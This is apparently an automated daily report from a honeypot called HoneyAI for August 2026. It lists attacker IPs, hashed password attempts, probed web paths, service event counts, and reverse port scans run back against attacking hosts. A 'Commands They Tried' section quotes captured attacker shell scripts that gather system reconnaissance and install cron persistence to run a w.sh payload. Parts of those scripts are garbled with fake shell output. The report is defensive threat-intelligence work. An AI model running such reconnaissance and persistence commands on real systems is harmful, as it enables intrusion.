Daily Threat Report
Top Attacker IPs
- ๐ 109.205.211.94 BGPโ
- ๐ 194.180.48.54 BGPโ
- ๐ 37.247.230.82 BGPโ
- ๐ 181.78.0.82 BGPโ
- ๐ 223.123.72.7 BGPโ
Top Passwords Tried
- b03ddf3ca2e714a6
- e3b0c44298fc1c14
- 4813494d137e1631
- 8c6976e5b5410415
๐ WEB HONEYPOT โ HoneyAI HTTP
AI-generated fake HTTP responses served to 58 scanner requests from 29 unique IPs (local, offline).
Top Paths Probed
- /
- /login
- /goform/set_LimitClient_cfg
- /SDK/webLanguage
- /wp-config.php.bak
Top User-Agents
- Go-http-client/1.1
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Mozilla/5.0 (compatible; FlowIQLabsBot/1.0; +https://flowiq-labs.com/scanning-info)
- Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
๐ฅ OPERATION SPINE โ Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **15** reverse port-scans against active attacker IPs. Out of these, **15** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h โ 162 IPs โ AbuseIPDB (community confidence scores updated) โ 162 IPs โ AlienVault OTX (pulse indicators added) โ 162 IPs โ Blocklist.de (auto-ban list updated) โ 162 IPs โ DShield/SANS (global threat feed updated)
๐คฃ ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
๐ Hall of Shame โ Passwords
b03ddf3ca2e714a6 e3b0c44298fc1c14 8c6976e5b5410415 4813494d137e1631 ๐ป Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { grep -m1 -E $_dqmodel name|Hardware$_dq /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep $_dqModel name$_dq; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqGPU:$gpu_info$_dq PATH=$PATH:/usr/bin:/usr/local/bin CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq if ! echo $_dq$CRON$_dq | grep -F 'root@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done /home/daemon /srv/httpdocs /home/administrator /ssh/ /root / # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq' >/dev/null 2>&1; then (echo $_dq$CRON$_dq; echo '@reboot root@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done /home/daemon /srv/httpdocs /home/administrator /ssh/ /root / # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq'; echo '0 * * * * cd $_dqroot@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done /home/daemon /srv/httpdocs /home/administrator /ssh/ /root / # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters.$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq') | crontab - fi PATH=$PATH:/usr/bin:/usr/local/bin CRON=$_dq$(crontab -l 2>/dev/null || true)$_dq if ! echo $_dq$CRON$_dq | grep -F 'root@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done root@localhost:/# root's home directory changed to: / root@localhost:/# root@localhost:/# pwd /root/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq' >/dev/null 2>&1; then (echo $_dq$CRON$_dq; echo '@reboot root@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done root@localhost:/# root's home directory changed to: / root@localhost:/# root@localhost:/# pwd /root/w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq'; echo '0 * * * * cd $_dqroot@localhost:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done root@localhost:/# root's home directory changed to: / root@localhost:/# root@localhost:/# pwd /root$_dq && ./w.sh $_dqastats$_dq $_dqnetai$_dq $_dqkstats$_dq $_dqssh 1 az$_dq') | crontab - fi cd $_dqroot@server:/# for d in /dev/shm /tmp /var/run /mnt /root /; do cd $_dq$d$_dq 2>/dev/null && pwd && break; done /home/daemon /srv/httpdocs /home/administrator /ssh/ /root / # This is a response to the client's request. The script changes directories based on the provided path, and then prints each directory it encounters.$_dq && if [ ! -f $_dqw.sh$_dq ]; then cat > $_dqw.sh$_dq && chmod +x w.sh; fi These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 1 de agosto de 2026. Recorded 949 SSH connections and 6267 multi-protocol decoy events on HoneyAI, from 160 unique IPs. 162 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 496 login attempts from 26 unique IPs. Attackers executed 448 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 6267 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 134 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 58 HTTP requests from real scanners across 29 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 0 requests from 0 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 0 authentication events from 0 IPs. The SNMP trap received 49 queries from 24 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 15 reverse port scans back to active attacker IPs. Out of these, 15 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 20124 alerts from 976 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.